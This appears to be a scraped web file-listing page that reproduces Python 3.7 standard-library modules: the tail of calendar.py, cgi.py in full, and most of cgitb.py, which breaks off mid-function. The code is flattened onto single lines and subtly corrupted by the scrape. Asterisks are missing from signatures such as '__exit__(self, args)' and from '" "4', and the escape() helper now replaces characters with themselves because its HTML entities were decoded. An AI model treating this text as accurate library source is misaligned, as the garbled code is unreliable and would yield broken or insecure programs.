help="spacing between months (default 6)" ) textgroup.add_argument( "-m", "--months", type=int, default=3, help="months per row (default 3)" ) htmlgroup.add_argument( "-c", "--css", default="calendar.css", help="CSS to use for page" ) parser.add_argument( "-L", "--locale", default=None, help="locale to be used from month and weekday names" ) parser.add_argument( "-e", "--encoding", default=None, help="encoding to use for output" ) parser.add_argument( "-t", "--type", default="text", choices=("text", "html"), help="output type (text or html)" ) parser.add_argument( "year", nargs='?', type=int, help="year number (1-9999)" ) parser.add_argument( "month", nargs='?', type=int, help="month number (1-12, text only)" ) options = parser.parse_args(args[1:]) if options.locale and not options.encoding: parser.error("if --locale is specified --encoding is required") sys.exit(1) locale = options.locale, options.encoding if options.type == "html": if options.locale: cal = LocaleHTMLCalendar(locale=locale) else: cal = HTMLCalendar() encoding = options.encoding if encoding is None: encoding = sys.getdefaultencoding() optdict = dict(encoding=encoding, css=options.css) write = sys.stdout.buffer.write if options.year is None: write(cal.formatyearpage(datetime.date.today().year, optdict)) elif options.month is None: write(cal.formatyearpage(options.year, optdict)) else: parser.error("incorrect number of arguments") sys.exit(1) else: if options.locale: cal = LocaleTextCalendar(locale=locale) else: cal = TextCalendar() optdict = dict(w=options.width, l=options.lines) if options.month is None: optdict["c"] = options.spacing optdict["m"] = options.months if options.year is None: result = cal.formatyear(datetime.date.today().year, optdict) elif options.month is None: result = cal.formatyear(options.year, optdict) else: result = cal.formatmonth(options.year, options.month, **optdict) write = sys.stdout.write if options.encoding: result = result.encode(options.encoding) write = sys.stdout.buffer.write write(result) if __name__ == "__main__": main(sys.argv)	24.24 KB	2024-04-17 17:55
📄 cgi.py #! /opt/alt/python37/bin/python3.7 # NOTE: the above "/usr/local/bin/python" is NOT a mistake. It is # intentionally NOT "/usr/bin/env python". On many systems # (e.g. Solaris), /usr/local/bin is not in $PATH as passed to CGI # scripts, and /usr/local/bin is the default directory where Python is # installed, so /usr/bin/env would be unable to find python. Granted, # binary installations by Linux vendors often install Python in # /usr/bin. So let those vendors patch cgi.py to match their choice # of installation. """Support module for CGI (Common Gateway Interface) scripts. This module defines a number of utilities for use by CGI scripts written in Python. """ # History # ------- # # Michael McLay started this module. Steve Majewski changed the # interface to SvFormContentDict and FormContentDict. The multipart # parsing was inspired by code submitted by Andreas Paepcke. Guido van # Rossum rewrote, reformatted and documented the module and is currently # responsible for its maintenance. # __version__ = "2.6" # Imports # ======= from io import StringIO, BytesIO, TextIOWrapper from collections.abc import Mapping import sys import os import urllib.parse from email.parser import FeedParser from email.message import Message from warnings import warn import html import locale import tempfile __all__ = ["MiniFieldStorage", "FieldStorage", "parse", "parse_qs", "parse_qsl", "parse_multipart", "parse_header", "test", "print_exception", "print_environ", "print_form", "print_directory", "print_arguments", "print_environ_usage", "escape"] # Logging support # =============== logfile = "" # Filename to log to, if not empty logfp = None # File object to log to, if not None def initlog(allargs): """Write a log message, if there is a log file. Even though this function is called initlog(), you should always use log(); log is a variable that is set either to initlog (initially), to dolog (once the log file has been opened), or to nolog (when logging is disabled). The first argument is a format string; the remaining arguments (if any) are arguments to the % operator, so e.g. log("%s: %s", "a", "b") will write "a: b" to the log file, followed by a newline. If the global logfp is not None, it should be a file object to which log data is written. If the global logfp is None, the global logfile may be a string giving a filename to open, in append mode. This file should be world writable!!! If the file can't be opened, logging is silently disabled (since there is no safe place where we could send an error message). """ global log, logfile, logfp if logfile and not logfp: try: logfp = open(logfile, "a") except OSError: pass if not logfp: log = nolog else: log = dolog log(allargs) def dolog(fmt, args): """Write a log message to the log file. See initlog() for docs.""" logfp.write(fmt%args + "\n") def nolog(allargs): """Dummy function, assigned to log when logging is disabled.""" pass def closelog(): """Close the log file.""" global log, logfile, logfp logfile = '' if logfp: logfp.close() logfp = None log = initlog log = initlog # The current logging function # Parsing functions # ================= # Maximum input we will accept when REQUEST_METHOD is POST # 0 ==> unlimited input maxlen = 0 def parse(fp=None, environ=os.environ, keep_blank_values=0, strict_parsing=0, separator='&'): """Parse a query in the environment or from a file (default stdin) Arguments, all optional: fp : file pointer; default: sys.stdin.buffer environ : environment dictionary; default: os.environ keep_blank_values: flag indicating whether blank values in percent-encoded forms should be treated as blank strings. A true value indicates that blanks should be retained as blank strings. The default false value indicates that blank values are to be ignored and treated as if they were not included. strict_parsing: flag indicating what to do with parsing errors. If false (the default), errors are silently ignored. If true, errors raise a ValueError exception. separator: str. The symbol to use for separating the query arguments. Defaults to &. """ if fp is None: fp = sys.stdin # field keys and values (except for files) are returned as strings # an encoding is required to decode the bytes read from self.fp if hasattr(fp,'encoding'): encoding = fp.encoding else: encoding = 'latin-1' # fp.read() must return bytes if isinstance(fp, TextIOWrapper): fp = fp.buffer if not 'REQUEST_METHOD' in environ: environ['REQUEST_METHOD'] = 'GET' # For testing stand-alone if environ['REQUEST_METHOD'] == 'POST': ctype, pdict = parse_header(environ['CONTENT_TYPE']) if ctype == 'multipart/form-data': return parse_multipart(fp, pdict, separator=separator) elif ctype == 'application/x-www-form-urlencoded': clength = int(environ['CONTENT_LENGTH']) if maxlen and clength > maxlen: raise ValueError('Maximum content length exceeded') qs = fp.read(clength).decode(encoding) else: qs = '' # Unknown content-type if 'QUERY_STRING' in environ: if qs: qs = qs + '&' qs = qs + environ['QUERY_STRING'] elif sys.argv[1:]: if qs: qs = qs + '&' qs = qs + sys.argv[1] environ['QUERY_STRING'] = qs # XXX Shouldn't, really elif 'QUERY_STRING' in environ: qs = environ['QUERY_STRING'] else: if sys.argv[1:]: qs = sys.argv[1] else: qs = "" environ['QUERY_STRING'] = qs # XXX Shouldn't, really return urllib.parse.parse_qs(qs, keep_blank_values, strict_parsing, encoding=encoding, separator=separator) # parse query string function called from urlparse, # this is done in order to maintain backward compatibility. def parse_qs(qs, keep_blank_values=0, strict_parsing=0): """Parse a query given as a string argument.""" warn("cgi.parse_qs is deprecated, use urllib.parse.parse_qs instead", DeprecationWarning, 2) return urllib.parse.parse_qs(qs, keep_blank_values, strict_parsing) def parse_qsl(qs, keep_blank_values=0, strict_parsing=0): """Parse a query given as a string argument.""" warn("cgi.parse_qsl is deprecated, use urllib.parse.parse_qsl instead", DeprecationWarning, 2) return urllib.parse.parse_qsl(qs, keep_blank_values, strict_parsing) def parse_multipart(fp, pdict, encoding="utf-8", errors="replace", separator='&'): """Parse multipart input. Arguments: fp : input file pdict: dictionary containing other parameters of content-type header encoding, errors: request encoding and error handler, passed to FieldStorage Returns a dictionary just like parse_qs(): keys are the field names, each value is a list of values for that field. For non-file fields, the value is a list of strings. """ # RFC 2026, Section 5.1 : The "multipart" boundary delimiters are always # represented as 7bit US-ASCII. boundary = pdict['boundary'].decode('ascii') ctype = "multipart/form-data; boundary={}".format(boundary) headers = Message() headers.set_type(ctype) try: headers['Content-Length'] = pdict['CONTENT-LENGTH'] except KeyError: pass fs = FieldStorage(fp, headers=headers, encoding=encoding, errors=errors, environ={'REQUEST_METHOD': 'POST'}, separator=separator) return {k: fs.getlist(k) for k in fs} def _parseparam(s): while s[:1] == ';': s = s[1:] end = s.find(';') while end > 0 and (s.count('"', 0, end) - s.count('\\"', 0, end)) % 2: end = s.find(';', end + 1) if end < 0: end = len(s) f = s[:end] yield f.strip() s = s[end:] def parse_header(line): """Parse a Content-type like header. Return the main content-type and a dictionary of options. """ parts = _parseparam(';' + line) key = parts.__next__() pdict = {} for p in parts: i = p.find('=') if i >= 0: name = p[:i].strip().lower() value = p[i+1:].strip() if len(value) >= 2 and value[0] == value[-1] == '"': value = value[1:-1] value = value.replace('\\\\', '\\').replace('\\"', '"') pdict[name] = value return key, pdict # Classes for field storage # ========================= class MiniFieldStorage: """Like FieldStorage, for use when no file uploads are possible.""" # Dummy attributes filename = None list = None type = None file = None type_options = {} disposition = None disposition_options = {} headers = {} def __init__(self, name, value): """Constructor from field name and value.""" self.name = name self.value = value # self.file = StringIO(value) def __repr__(self): """Return printable representation.""" return "MiniFieldStorage(%r, %r)" % (self.name, self.value) class FieldStorage: """Store a sequence of fields, reading multipart/form-data. This class provides naming, typing, files stored on disk, and more. At the top level, it is accessible like a dictionary, whose keys are the field names. (Note: None can occur as a field name.) The items are either a Python list (if there's multiple values) or another FieldStorage or MiniFieldStorage object. If it's a single object, it has the following attributes: name: the field name, if specified; otherwise None filename: the filename, if specified; otherwise None; this is the client side filename, not the file name on which it is stored (that's a temporary file you don't deal with) value: the value as a string; for file uploads, this transparently reads the file every time you request the value and returns bytes file: the file(-like) object from which you can read the data as bytes ; None if the data is stored a simple string type: the content-type, or None if not specified type_options: dictionary of options specified on the content-type line disposition: content-disposition, or None if not specified disposition_options: dictionary of corresponding options headers: a dictionary(-like) object (sometimes email.message.Message or a subclass thereof) containing all headers The class is subclassable, mostly for the purpose of overriding the make_file() method, which is called internally to come up with a file open for reading and writing. This makes it possible to override the default choice of storing all files in a temporary directory and unlinking them as soon as they have been opened. """ def __init__(self, fp=None, headers=None, outerboundary=b'', environ=os.environ, keep_blank_values=0, strict_parsing=0, limit=None, encoding='utf-8', errors='replace', max_num_fields=None, separator='&'): """Constructor. Read multipart/* until last part. Arguments, all optional: fp : file pointer; default: sys.stdin.buffer (not used when the request method is GET) Can be : 1. a TextIOWrapper object 2. an object whose read() and readline() methods return bytes headers : header dictionary-like object; default: taken from environ as per CGI spec outerboundary : terminating multipart boundary (for internal use only) environ : environment dictionary; default: os.environ keep_blank_values: flag indicating whether blank values in percent-encoded forms should be treated as blank strings. A true value indicates that blanks should be retained as blank strings. The default false value indicates that blank values are to be ignored and treated as if they were not included. strict_parsing: flag indicating what to do with parsing errors. If false (the default), errors are silently ignored. If true, errors raise a ValueError exception. limit : used internally to read parts of multipart/form-data forms, to exit from the reading loop when reached. It is the difference between the form content-length and the number of bytes already read encoding, errors : the encoding and error handler used to decode the binary stream to strings. Must be the same as the charset defined for the page sending the form (content-type : meta http-equiv or header) max_num_fields: int. If set, then __init__ throws a ValueError if there are more than n fields read by parse_qsl(). """ method = 'GET' self.keep_blank_values = keep_blank_values self.strict_parsing = strict_parsing self.max_num_fields = max_num_fields self.separator = separator if 'REQUEST_METHOD' in environ: method = environ['REQUEST_METHOD'].upper() self.qs_on_post = None if method == 'GET' or method == 'HEAD': if 'QUERY_STRING' in environ: qs = environ['QUERY_STRING'] elif sys.argv[1:]: qs = sys.argv[1] else: qs = "" qs = qs.encode(locale.getpreferredencoding(), 'surrogateescape') fp = BytesIO(qs) if headers is None: headers = {'content-type': "application/x-www-form-urlencoded"} if headers is None: headers = {} if method == 'POST': # Set default content-type for POST to what's traditional headers['content-type'] = "application/x-www-form-urlencoded" if 'CONTENT_TYPE' in environ: headers['content-type'] = environ['CONTENT_TYPE'] if 'QUERY_STRING' in environ: self.qs_on_post = environ['QUERY_STRING'] if 'CONTENT_LENGTH' in environ: headers['content-length'] = environ['CONTENT_LENGTH'] else: if not (isinstance(headers, (Mapping, Message))): raise TypeError("headers must be mapping or an instance of " "email.message.Message") self.headers = headers if fp is None: self.fp = sys.stdin.buffer # self.fp.read() must return bytes elif isinstance(fp, TextIOWrapper): self.fp = fp.buffer else: if not (hasattr(fp, 'read') and hasattr(fp, 'readline')): raise TypeError("fp must be file pointer") self.fp = fp self.encoding = encoding self.errors = errors if not isinstance(outerboundary, bytes): raise TypeError('outerboundary must be bytes, not %s' % type(outerboundary).__name__) self.outerboundary = outerboundary self.bytes_read = 0 self.limit = limit # Process content-disposition header cdisp, pdict = "", {} if 'content-disposition' in self.headers: cdisp, pdict = parse_header(self.headers['content-disposition']) self.disposition = cdisp self.disposition_options = pdict self.name = None if 'name' in pdict: self.name = pdict['name'] self.filename = None if 'filename' in pdict: self.filename = pdict['filename'] self._binary_file = self.filename is not None # Process content-type header # # Honor any existing content-type header. But if there is no # content-type header, use some sensible defaults. Assume # outerboundary is "" at the outer level, but something non-false # inside a multi-part. The default for an inner part is text/plain, # but for an outer part it should be urlencoded. This should catch # bogus clients which erroneously forget to include a content-type # header. # # See below for what we do if there does exist a content-type header, # but it happens to be something we don't understand. if 'content-type' in self.headers: ctype, pdict = parse_header(self.headers['content-type']) elif self.outerboundary or method != 'POST': ctype, pdict = "text/plain", {} else: ctype, pdict = 'application/x-www-form-urlencoded', {} self.type = ctype self.type_options = pdict if 'boundary' in pdict: self.innerboundary = pdict['boundary'].encode(self.encoding, self.errors) else: self.innerboundary = b"" clen = -1 if 'content-length' in self.headers: try: clen = int(self.headers['content-length']) except ValueError: pass if maxlen and clen > maxlen: raise ValueError('Maximum content length exceeded') self.length = clen if self.limit is None and clen >= 0: self.limit = clen self.list = self.file = None self.done = 0 if ctype == 'application/x-www-form-urlencoded': self.read_urlencoded() elif ctype[:10] == 'multipart/': self.read_multi(environ, keep_blank_values, strict_parsing) else: self.read_single() def __del__(self): try: self.file.close() except AttributeError: pass def __enter__(self): return self def __exit__(self, args): self.file.close() def __repr__(self): """Return a printable representation.""" return "FieldStorage(%r, %r, %r)" % ( self.name, self.filename, self.value) def __iter__(self): return iter(self.keys()) def __getattr__(self, name): if name != 'value': raise AttributeError(name) if self.file: self.file.seek(0) value = self.file.read() self.file.seek(0) elif self.list is not None: value = self.list else: value = None return value def __getitem__(self, key): """Dictionary style indexing.""" if self.list is None: raise TypeError("not indexable") found = [] for item in self.list: if item.name == key: found.append(item) if not found: raise KeyError(key) if len(found) == 1: return found[0] else: return found def getvalue(self, key, default=None): """Dictionary style get() method, including 'value' lookup.""" if key in self: value = self[key] if isinstance(value, list): return [x.value for x in value] else: return value.value else: return default def getfirst(self, key, default=None): """ Return the first value received.""" if key in self: value = self[key] if isinstance(value, list): return value[0].value else: return value.value else: return default def getlist(self, key): """ Return list of received values.""" if key in self: value = self[key] if isinstance(value, list): return [x.value for x in value] else: return [value.value] else: return [] def keys(self): """Dictionary style keys() method.""" if self.list is None: raise TypeError("not indexable") return list(set(item.name for item in self.list)) def __contains__(self, key): """Dictionary style __contains__ method.""" if self.list is None: raise TypeError("not indexable") return any(item.name == key for item in self.list) def __len__(self): """Dictionary style len(x) support.""" return len(self.keys()) def __bool__(self): if self.list is None: raise TypeError("Cannot be converted to bool.") return bool(self.list) def read_urlencoded(self): """Internal: read data in query string format.""" qs = self.fp.read(self.length) if not isinstance(qs, bytes): raise ValueError("%s should return bytes, got %s" \ % (self.fp, type(qs).__name__)) qs = qs.decode(self.encoding, self.errors) if self.qs_on_post: qs += '&' + self.qs_on_post query = urllib.parse.parse_qsl( qs, self.keep_blank_values, self.strict_parsing, encoding=self.encoding, errors=self.errors, max_num_fields=self.max_num_fields, separator=self.separator) self.list = [MiniFieldStorage(key, value) for key, value in query] self.skip_lines() FieldStorageClass = None def read_multi(self, environ, keep_blank_values, strict_parsing): """Internal: read a part that is itself multipart.""" ib = self.innerboundary if not valid_boundary(ib): raise ValueError('Invalid boundary in multipart form: %r' % (ib,)) self.list = [] if self.qs_on_post: query = urllib.parse.parse_qsl( self.qs_on_post, self.keep_blank_values, self.strict_parsing, encoding=self.encoding, errors=self.errors, max_num_fields=self.max_num_fields, separator=self.separator) self.list.extend(MiniFieldStorage(key, value) for key, value in query) klass = self.FieldStorageClass or self.__class__ first_line = self.fp.readline() # bytes if not isinstance(first_line, bytes): raise ValueError("%s should return bytes, got %s" \ % (self.fp, type(first_line).__name__)) self.bytes_read += len(first_line) # Ensure that we consume the file until we've hit our inner boundary while (first_line.strip() != (b"--" + self.innerboundary) and first_line): first_line = self.fp.readline() self.bytes_read += len(first_line) # Propagate max_num_fields into the sub class appropriately max_num_fields = self.max_num_fields if max_num_fields is not None: max_num_fields -= len(self.list) while True: parser = FeedParser() hdr_text = b"" while True: data = self.fp.readline() hdr_text += data if not data.strip(): break if not hdr_text: break # parser takes strings, not bytes self.bytes_read += len(hdr_text) parser.feed(hdr_text.decode(self.encoding, self.errors)) headers = parser.close() # Some clients add Content-Length for part headers, ignore them if 'content-length' in headers: del headers['content-length'] limit = None if self.limit is None \ else self.limit - self.bytes_read part = klass(self.fp, headers, ib, environ, keep_blank_values, strict_parsing, limit, self.encoding, self.errors, max_num_fields, self.separator) if max_num_fields is not None: max_num_fields -= 1 if part.list: max_num_fields -= len(part.list) if max_num_fields < 0: raise ValueError('Max number of fields exceeded') self.bytes_read += part.bytes_read self.list.append(part) if part.done or self.bytes_read >= self.length > 0: break self.skip_lines() def read_single(self): """Internal: read an atomic part.""" if self.length >= 0: self.read_binary() self.skip_lines() else: self.read_lines() self.file.seek(0) bufsize = 81024 # I/O buffering size for copy to file def read_binary(self): """Internal: read binary data.""" self.file = self.make_file() todo = self.length if todo >= 0: while todo > 0: data = self.fp.read(min(todo, self.bufsize)) # bytes if not isinstance(data, bytes): raise ValueError("%s should return bytes, got %s" % (self.fp, type(data).__name__)) self.bytes_read += len(data) if not data: self.done = -1 break self.file.write(data) todo = todo - len(data) def read_lines(self): """Internal: read lines until EOF or outerboundary.""" if self._binary_file: self.file = self.__file = BytesIO() # store data as bytes for files else: self.file = self.__file = StringIO() # as strings for other fields if self.outerboundary: self.read_lines_to_outerboundary() else: self.read_lines_to_eof() def __write(self, line): """line is always bytes, not string""" if self.__file is not None: if self.__file.tell() + len(line) > 1000: self.file = self.make_file() data = self.__file.getvalue() self.file.write(data) self.__file = None if self._binary_file: # keep bytes self.file.write(line) else: # decode to string self.file.write(line.decode(self.encoding, self.errors)) def read_lines_to_eof(self): """Internal: read lines until EOF.""" while 1: line = self.fp.readline(1<<16) # bytes self.bytes_read += len(line) if not line: self.done = -1 break self.__write(line) def read_lines_to_outerboundary(self): """Internal: read lines until outerboundary. Data is read as bytes: boundaries and line ends must be converted to bytes for comparisons. """ next_boundary = b"--" + self.outerboundary last_boundary = next_boundary + b"--" delim = b"" last_line_lfend = True _read = 0 while 1: if self.limit is not None and 0 <= self.limit <= _read: break line = self.fp.readline(1<<16) # bytes self.bytes_read += len(line) _read += len(line) if not line: self.done = -1 break if delim == b"\r": line = delim + line delim = b"" if line.startswith(b"--") and last_line_lfend: strippedline = line.rstrip() if strippedline == next_boundary: break if strippedline == last_boundary: self.done = 1 break odelim = delim if line.endswith(b"\r\n"): delim = b"\r\n" line = line[:-2] last_line_lfend = True elif line.endswith(b"\n"): delim = b"\n" line = line[:-1] last_line_lfend = True elif line.endswith(b"\r"): # We may interrupt \r\n sequences if they span the 2**16 # byte boundary delim = b"\r" line = line[:-1] last_line_lfend = False else: delim = b"" last_line_lfend = False self.__write(odelim + line) def skip_lines(self): """Internal: skip lines until outer boundary if defined.""" if not self.outerboundary or self.done: return next_boundary = b"--" + self.outerboundary last_boundary = next_boundary + b"--" last_line_lfend = True while True: line = self.fp.readline(1<<16) self.bytes_read += len(line) if not line: self.done = -1 break if line.endswith(b"--") and last_line_lfend: strippedline = line.strip() if strippedline == next_boundary: break if strippedline == last_boundary: self.done = 1 break last_line_lfend = line.endswith(b'\n') def make_file(self): """Overridable: return a readable & writable file. The file will be used as follows: - data is written to it - seek(0) - data is read from it The file is opened in binary mode for files, in text mode for other fields This version opens a temporary file for reading and writing, and immediately deletes (unlinks) it. The trick (on Unix!) is that the file can still be used, but it can't be opened by another process, and it will automatically be deleted when it is closed or when the current process terminates. If you want a more permanent file, you derive a class which overrides this method. If you want a visible temporary file that is nevertheless automatically deleted when the script terminates, try defining a __del__ method in a derived class which unlinks the temporary files you have created. """ if self._binary_file: return tempfile.TemporaryFile("wb+") else: return tempfile.TemporaryFile("w+", encoding=self.encoding, newline = '\n') # Test/debug code # =============== def test(environ=os.environ): """Robust test CGI script, usable as main program. Write minimal HTTP headers and dump all information provided to the script in HTML form. """ print("Content-type: text/html") print() sys.stderr = sys.stdout try: form = FieldStorage() # Replace with other classes to test those print_directory() print_arguments() print_form(form) print_environ(environ) print_environ_usage() def f(): exec("testing print_exception() -- <I>italics?</I>") def g(f=f): f() print("<H3>What follows is a test, not an actual exception:</H3>") g() except: print_exception() print("<H1>Second try with a small maxlen...</H1>") global maxlen maxlen = 50 try: form = FieldStorage() # Replace with other classes to test those print_directory() print_arguments() print_form(form) print_environ(environ) except: print_exception() def print_exception(type=None, value=None, tb=None, limit=None): if type is None: type, value, tb = sys.exc_info() import traceback print() print("<H3>Traceback (most recent call last):</H3>") list = traceback.format_tb(tb, limit) + \ traceback.format_exception_only(type, value) print("<PRE>%s<B>%s</B></PRE>" % ( html.escape("".join(list[:-1])), html.escape(list[-1]), )) del tb def print_environ(environ=os.environ): """Dump the shell environment as HTML.""" keys = sorted(environ.keys()) print() print("<H3>Shell Environment:</H3>") print("<DL>") for key in keys: print("<DT>", html.escape(key), "<DD>", html.escape(environ[key])) print("</DL>") print() def print_form(form): """Dump the contents of a form as HTML.""" keys = sorted(form.keys()) print() print("<H3>Form Contents:</H3>") if not keys: print("<P>No form fields.") print("<DL>") for key in keys: print("<DT>" + html.escape(key) + ":", end=' ') value = form[key] print("<i>" + html.escape(repr(type(value))) + "</i>") print("<DD>" + html.escape(repr(value))) print("</DL>") print() def print_directory(): """Dump the current directory as HTML.""" print() print("<H3>Current Working Directory:</H3>") try: pwd = os.getcwd() except OSError as msg: print("OSError:", html.escape(str(msg))) else: print(html.escape(pwd)) print() def print_arguments(): print() print("<H3>Command Line Arguments:</H3>") print() print(sys.argv) print() def print_environ_usage(): """Dump a list of environment variables used by CGI as HTML.""" print(""" <H3>These environment variables could have been set:</H3> <UL> <LI>AUTH_TYPE <LI>CONTENT_LENGTH <LI>CONTENT_TYPE <LI>DATE_GMT <LI>DATE_LOCAL <LI>DOCUMENT_NAME <LI>DOCUMENT_ROOT <LI>DOCUMENT_URI <LI>GATEWAY_INTERFACE <LI>LAST_MODIFIED <LI>PATH <LI>PATH_INFO <LI>PATH_TRANSLATED <LI>QUERY_STRING <LI>REMOTE_ADDR <LI>REMOTE_HOST <LI>REMOTE_IDENT <LI>REMOTE_USER <LI>REQUEST_METHOD <LI>SCRIPT_NAME <LI>SERVER_NAME <LI>SERVER_PORT <LI>SERVER_PROTOCOL <LI>SERVER_ROOT <LI>SERVER_SOFTWARE </UL> In addition, HTTP headers sent by the server may be passed in the environment as well. Here are some common variable names: <UL> <LI>HTTP_ACCEPT <LI>HTTP_CONNECTION <LI>HTTP_HOST <LI>HTTP_PRAGMA <LI>HTTP_REFERER <LI>HTTP_USER_AGENT </UL> """) # Utilities # ========= def escape(s, quote=None): """Deprecated API.""" warn("cgi.escape is deprecated, use html.escape instead", DeprecationWarning, stacklevel=2) s = s.replace("&", "&") # Must be done first! s = s.replace("<", "<") s = s.replace(">", ">") if quote: s = s.replace('"', """) return s def valid_boundary(s): import re if isinstance(s, bytes): _vb_pattern = b"^[ -~]{0,200}[!-~]$" else: _vb_pattern = "^[ -~]{0,200}[!-~]$" return re.match(_vb_pattern, s) # Invoke mainline # =============== # Call test() when this file is run as a script (not imported as a module) if __name__ == '__main__': test()	34.23 KB	2024-04-17 17:55
📄 cgitb.py """More comprehensive traceback formatting for Python scripts. To enable this module, do: import cgitb; cgitb.enable() at the top of your script. The optional arguments to enable() are: display - if true, tracebacks are displayed in the web browser logdir - if set, tracebacks are written to files in this directory context - number of lines of source code to show for each stack frame format - 'text' or 'html' controls the output format By default, tracebacks are displayed but not saved, the context is 5 lines and the output format is 'html' (for backwards compatibility with the original use of this module) Alternatively, if you have caught an exception and want cgitb to display it for you, call cgitb.handler(). The optional argument to handler() is a 3-item tuple (etype, evalue, etb) just like the value of sys.exc_info(). The default handler displays output as HTML. """ import inspect import keyword import linecache import os import pydoc import sys import tempfile import time import tokenize import traceback def reset(): """Return a string that resets the CGI and browser to a known state.""" return '''<!--: spam Content-Type: text/html <body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> --> <body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> --> --> </font> </font> </font> </script> </object> </blockquote> </pre> </table> </table> </table> </table> </table> </font> </font> </font>''' __UNDEF__ = [] # a special sentinel object def small(text): if text: return '<small>' + text + '</small>' else: return '' def strong(text): if text: return '<strong>' + text + '</strong>' else: return '' def grey(text): if text: return '<font color="#909090">' + text + '</font>' else: return '' def lookup(name, frame, locals): """Find the value for a given name in the given environment.""" if name in locals: return 'local', locals[name] if name in frame.f_globals: return 'global', frame.f_globals[name] if '__builtins__' in frame.f_globals: builtins = frame.f_globals['__builtins__'] if type(builtins) is type({}): if name in builtins: return 'builtin', builtins[name] else: if hasattr(builtins, name): return 'builtin', getattr(builtins, name) return None, __UNDEF__ def scanvars(reader, frame, locals): """Scan one logical line of Python and look up values of variables used.""" vars, lasttoken, parent, prefix, value = [], None, None, '', __UNDEF__ for ttype, token, start, end, line in tokenize.generate_tokens(reader): if ttype == tokenize.NEWLINE: break if ttype == tokenize.NAME and token not in keyword.kwlist: if lasttoken == '.': if parent is not __UNDEF__: value = getattr(parent, token, __UNDEF__) vars.append((prefix + token, prefix, value)) else: where, value = lookup(token, frame, locals) vars.append((token, where, value)) elif token == '.': prefix += lasttoken + '.' parent = value else: parent, prefix = None, '' lasttoken = token return vars def html(einfo, context=5): """Return a nice HTML document describing a given traceback.""" etype, evalue, etb = einfo if isinstance(etype, type): etype = etype.__name__ pyver = 'Python ' + sys.version.split()[0] + ': ' + sys.executable date = time.ctime(time.time()) head = '<body bgcolor="#f0f0f8">' + pydoc.html.heading( '<big><big>%s</big></big>' % strong(pydoc.html.escape(str(etype))), '#ffffff', '#6622aa', pyver + '<br>' + date) + ''' <p>A problem occurred in a Python script. Here is the sequence of function calls leading up to the error, in the order they occurred.</p>''' indent = '<tt>' + small(' ' * 5) + ' </tt>' frames = [] records = inspect.getinnerframes(etb, context) for frame, file, lnum, func, lines, index in records: if file: file = os.path.abspath(file) link = '<a href="file://%s">%s</a>' % (file, pydoc.html.escape(file)) else: file = link = '?' args, varargs, varkw, locals = inspect.getargvalues(frame) call = '' if func != '?': call = 'in ' + strong(pydoc.html.escape(func)) + \ inspect.formatargvalues(args, varargs, varkw, locals, formatvalue=lambda value: '=' + pydoc.html.repr(value)) highlight = {} def reader(lnum=[lnum]): highlight[lnum[0]] = 1 try: return linecache.getline(file, lnum[0]) finally: lnum[0] += 1 vars = scanvars(reader, frame, locals) rows = ['<tr><td bgcolor="#d8bbff">%s%s %s</td></tr>' % ('<big> </big>', link, call)] if index is not None: i = lnum - index for line in lines: num = small(' ' * (5-len(str(i))) + str(i)) + ' ' if i in highlight: line = '<tt>=>%s%s</tt>' % (num, pydoc.html.preformat(line)) rows.append('<tr><td bgcolor="#ffccee">%s</td></tr>' % line) else: line = '<tt>  %s%s</tt>' % (num, pydoc.html.preformat(line)) rows.append('<tr><td>%s</td></tr>' % grey(line)) i += 1 done, dump = {}, [] for name, where, value in vars: if name in done: continue done[name] = 1 if value is not __UNDEF__: if where in ('global', 'builtin'): name = ('<em>%s</em> ' % where) + strong(name) elif where == 'local': name = strong(name) else: name = where + strong(name.split('.')[-1]) dump.append('%s = %s' % (name, pydoc.html.repr(value))) else: dump.append(name + ' <em>undefined</em>') rows.append('<tr><td>%s</td></tr>' % small(grey(', '.join(dump)))) frames.append(''' <table width="100%%" cellspacing=0 cellpadding=0 border=0> %s</table>''' % '\n'.join(rows)) exception = ['<p>%s: %s' % (strong(pydoc.html.escape(str(etype))), pydoc.html.escape(str(evalue)))] for name in dir(evalue): if name[:1] == '_': continue value = pydoc.html.repr(getattr(evalue, name)) exception.append('\n<br>%s%s =\n%s' % (indent, name, value)) return head + ''.join(frames) + ''.join(exception) + ''' <!-- The above is a description of an error in a Python program, formatted for a Web browser because the 'cgitb' module was enabled. In case you are not reading this in a Web browser, here is the original traceback: %s --> ''' % pydoc.html.escape( ''.join(traceback.format_exception(etype, evalue, etb))) def text(einfo, context=5): """Return a plain text document describing a given traceback.""" etype, evalue, etb = einfo if isinstance(etype, type): etype = etype.__name__ pyver = 'Python ' + sys.version.split()[0] + ': ' + sys.executable date = time.ctime(time.time()) head = "%s\n%s\n%s\n" % (str(etype), pyver, date) + ''' A problem occurred in a Python script. Here is the sequence of function calls leading up to the error, in the order they occurred. ''' frames = [] records = inspect.getinnerframes(etb, context) for frame, file, lnum, func, lines, index in records: file = file and os.path.abspath(file) or '?' args, varargs, varkw, locals = inspect.getargvalues(frame) call = '' if func != '?': call = 'in ' + func + \ inspect.formatargvalues(args, varargs, varkw, locals, formatvalue=lambda value: '=' + pydoc.text.repr(value)) highlight = {} def reader(lnum=[lnum]): highlight[lnum[0]] = 1 try: return linecache.getline(file, lnum[0]) finally: lnum[0] += 1 vars = scanvars(reader, frame, locals) rows = [' %s %s' % (file, call)] if index is not None: i = lnum - index for line in lines: num = '%5d ' % i rows.append(num+line.rstrip()) i += 1 done, dump = {}, [] for name, where, value in vars: if name in done: continue done[name] = 1 if value is not __UNDEF__: if where == 'global': name = 'global ' + name elif where != 'local': name = where + name.split('.')[-1] dump.append('%s = %s' % (name, pydoc.text.repr(value))) else: dump.append(name + ' undefined') rows.append('\n'.join(dump)) frames.append('\n%s\n' % '\n'.join(rows)) exception = ['%s: %s' % (str(etype), str(evalue))] for name in dir(evalue): value = pydoc.text.repr(getattr(evalue, name)) exception.append('\n%s%s = %s' % (" "4, name, value)) return head + ''.join(frames) + ''.join(exception) + ''' The above is a description of an error in a Python program. Here is the original traceback: %s ''' % ''.join(traceback.format_exception(etype, evalue, etb)) class Hook: """A hook to replace sys.excepthook that shows tracebacks in HTML.""" def __init__(self, display=1, logdir=None, context=5, file=None, format="html"): self.display = display # send tracebacks to browser if true self.logdir = logdir # log tracebacks to files if not None self.context = context # number of source code lines per frame self.file = file or sys.stdout # place to send the output self.format = format def __call__(self, etype, evalue, etb): self.handle((etype, evalue, etb)) def handle(self, info=None): info = info or sys.exc_info() if self.format == "html": self.file.write(reset()) formatter = (self.format=="html") and html or text plain = False try: doc = formatter(info, self.context) except: # just in case something goes wrong doc = ''.join(traceback.format_exception(info)) plain = True if self.display: if plain: 